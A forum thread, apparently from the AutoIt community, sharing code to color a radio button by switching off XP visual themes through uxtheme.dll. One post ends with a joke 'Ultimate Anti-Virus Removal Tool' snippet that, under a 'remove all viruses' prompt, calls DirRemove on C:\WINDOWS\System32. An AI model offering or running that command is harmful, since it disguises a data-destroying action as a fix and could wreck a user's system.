Jump to content

Coloring radio button


sensalim
 Share

Recommended Posts

As related to Autoit, this little UDF will do what you need and replace the users original settings

#include <GUIConstants.au3>
Dim $XS_n

GUICreate("My GUI Checkbox")  ; will create a dialog box that when displayed is centered
GUISetBkColor(0x000000)
If XPStyle(1) Then MsgBox(0,0,"on", 2)
$checkCN = GUICtrlCreateRadio("Radio 1", 10, 10, 120, 15)
GUICtrlSetColor($checkCN, 0xFF0000)
GUICtrlSetBkColor($checkCN, 0x000000);0xFFFFFF)
If XPStyle(0) Then MsgBox(0,0,"off", 2)
GUISetState()       ; will display an  dialog box with 1 checkbox

; Run the GUI until the dialog is closed
While 1
    $msg = GUIGetMsg()

    If $msg = $GUI_EVENT_CLOSE Then ExitLoop
WEnd

Func XPStyle($OnOff = 1)   
    If $OnOff And StringInStr(@OSTYPE, "WIN32_NT") Then
        $XS_n = DllCall("uxtheme.dll", "int", "GetThemeAppProperties")
        DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 0)
        Return 1
    ElseIf StringInStr(@OSTYPE, "WIN32_NT") And IsArray($XS_n) Then
        DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", $XS_n[0])
        $XS_n = ""
        Return 1
    EndIf
    Return 0
EndFunc   ;==>XPStyle

8)

Edited by Valuater

NEWHeader1.png

Link to comment
Share on other sites

I found this in Big Daddy's Absolute Lyrics Finder. It might help

#comments-start
    Turn window themes off for the GUI Controls.
#comments-end
DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 1)
$GUI = GUICreate("Absolute Lyrics Finder  -=Big_Daddy Style=-", 586, 521, $iWinPosX, $iWinPosY)
GUISetOnEvent($GUI_EVENT_CLOSE, "_Exit")
GUISetIcon($TempDir & "favicon.ico")

Code derived from:

AbsoluteLyricsFinder.au3 v1.2.1.1 Dec. 18, 2007

Bob Anthony (big_daddy)

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

  • 3 weeks later...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...